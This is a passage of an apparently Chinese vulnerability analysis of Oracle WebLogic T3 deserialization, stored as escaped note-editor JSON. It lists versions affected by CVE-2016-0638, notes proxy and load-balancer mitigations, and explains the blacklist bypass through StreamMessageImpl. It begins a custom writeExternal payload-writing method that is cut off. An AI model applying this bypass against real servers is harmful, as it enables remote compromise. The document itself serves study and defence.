41A-1673851218116&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5071/WEBRESOURCE3aebdcb965d90c3657fe63a1626c4e94&#34;,&#34;width&#34;:676,&#34;height&#34;:427},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PGMV-1673851203371&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ndd2-1673851203369&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VoOq-1673575776072&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BJH7-1673575776073&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同时也有师傅提到，开放在外网的情况下，还可以采用web代理和负载均衡。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PnhA-1673575890560&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;D5Gb-1673576153123&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9vQ9-1673575890559&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;web代理的方式只能转发HTTP的请求，而不会转发T3协议的请求，这就能防御住T3漏洞的攻击。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q8DI-1673575890562&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;D5Gb-1673576153123&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QAPu-1673575890561&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;负载均衡的情况下，可以指定需要进行负载均衡的协议类型，这么这里就可以设置为HTTP的请求，不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JZVb-1673575776235&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;POB3-1673575776234&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;21uV-1673851526921&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vm0s-1673851526920&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2016-0638&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LmUr-1673851524464&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JxU3-1673851524462&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hhbx-1673851655912&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9XP2-1673851655913&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jK6a-1673851655914&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4O3m-1673851655915&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.2.1.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EGx2-1673851655916&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kTYP-1673851655917&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cNc7-1673851655919&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;V4U2-1673851655900&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z4CH-1673851655920&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.2.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fg9y-1673857573620&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;McGd-1673857573619&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VBqe-1673851640393&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MIYo-1673851640391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;上文中我们提到，补丁对&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.iiop.Utils.class&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;，&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.rjvm.MsgAbbrevInputStream.class&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;，&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.rjvm.InboundMsgAbbrev.class&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;三个类中的反序列化过程进行了黑名单过滤，而在&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.jms.common.StreamMessageImpl&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;类的&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;readExternal&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;方法中同样存在readObject操作:&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MY5N-1673852393554&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5096/WEBRESOURCEdf79a09b7d85458cba7ceeb51b8a92e2&#34;,&#34;width&#34;:598,&#34;height&#34;:380},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qcNb-1673852423076&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FdEM-1673852423077&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;所以我们需自定义实现一个StreamMessageImpl类。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UYOq-1673852750724&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DadL-1673852750722&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;观察其writeExternal与readExternal方法可见，我们需要自定义实现一个writeExternal逻辑将payload写入序列化过程：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b1DL-1673852728559&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lpzO-1673852728514&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V0gk-1673852728513&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public void writeExternal(ObjectOutput var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tP6G-1673852862577&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NCs3-1673852862576&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    super.writeExternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KzgM-1673852862579&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LxJA-1673852862578&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    int var3 = Integer.MAX_VALUE;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;O0PZ-1673852862581&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W5fL-1673852862580&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ObjectOutput var2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y7ej-1673852862583&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PJNa-1673852862582&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (var1 instanceof MessageImpl.JMSObjectOutputWrapper) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CpM7-1673852862585&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IwGd-1673852862584&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3 = ((MessageImpl.JMSObjectOutputWrapper)var1).getCompressionThreshold();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G0bx-1673852862587&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RC2G-1673852862586&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var2 = ((MessageImpl.JMSObjectOutputWrapper)var1).getInnerObjectOutput();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1e0D-1673852862589&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p0wX-1673852862588&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;446g-1673852862591&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UkIo-1673852862590&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var2 = var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vWqu-1673852862593&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S2M6-1673852862592&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MiYS-1673852862595&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tn9r-1673852862594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;toOE-1673852862597&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vm2E-1673852862596&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte var4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uHzz-1673852862599&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n6fB-1673852862598&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.getVersion(var2) &gt;= 30) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6R8V-1673852862601&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;trIs-1673852862600&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var4 = (byte)(3 | (this.shouldCompress(var2, var3) ? -128 : 0));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rSat-1673852862603&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jkjy-1673852862602&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OX0Y-1673852862605&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZYrW-1673852862604&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var4 = 2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CyRR-1673852862608&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TBHN-1673852862607&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;54Kc-1673852862610&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BXZN-1673852862609&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vIfb-1673852862612&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g2wt-1673852862611&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var2.writeByte(var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Wfrk-1673852862614&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s9wy-1673852862613&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.isCompressed()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hKvx-1673852862616&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;liMy-1673852862615&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (var4 == 2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hV5y-1673852862618&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Et9-1673852862617&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.decompress().writeLengthAndData(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bi7I-1673852862620&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vjya-1673852862619&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Demk-1673852862622&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P1cJ-1673852862621&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.flushCompressedMessageBody(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oLlK-1673852862624&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rDxj-1673852862623&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pSDg-1673852862626&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8XKR-1673852862625&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pX13-1673852862628&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rcng-1673852862627&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4mVF-1673852862630&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YnMH-1673852862629&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Object var5;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zDAT-1673852862632&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ye7r-1673852862631&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (this.bos != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gU7N-1673852862634&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OFRG-1673852862633&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var5 = this.bos;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y5wO-1673852862636&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DbLt-1673852862635&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i8UI-1673852862638&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GU2u-1673852862637&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (this.payload == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q3II-1673852862640&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CWEE-1673852862639&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                var2.writeInt(0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xxsK-1673852862642&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fzyx-1673852862641&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GCB4-1673852862644&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cLJj-1673852862643&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b0Gy-1673852862646&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NZTX-1673852862645&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UO3U-1673852862648&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jiOU-1673852862647&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var5 = this.payload;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CORg-1673852862650&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g9D1-1673852862649&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Npat-1673852862652&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;34ju-1673852862651&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hk13-1673852862654&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5FCZ-1673852862653&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if ((var4 &amp; -128) != 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cCvc-1673852862656&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cqqo-1673852862655&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.writeExternalCompressPayload(var2, (Payload)var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ow1e-1673852862658&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6hI1-1673852862657&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5LfR-1673852862660&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QJGV-1673852862659&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            ((Payload)var5).writeLengthAndData(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ejf5-1673852862662&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e6Y7-1673852862661&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kfvf-1673852862664&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6BMA-1673852862663&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cWzn-1673852862666&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;F5Sa-1673852862665&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    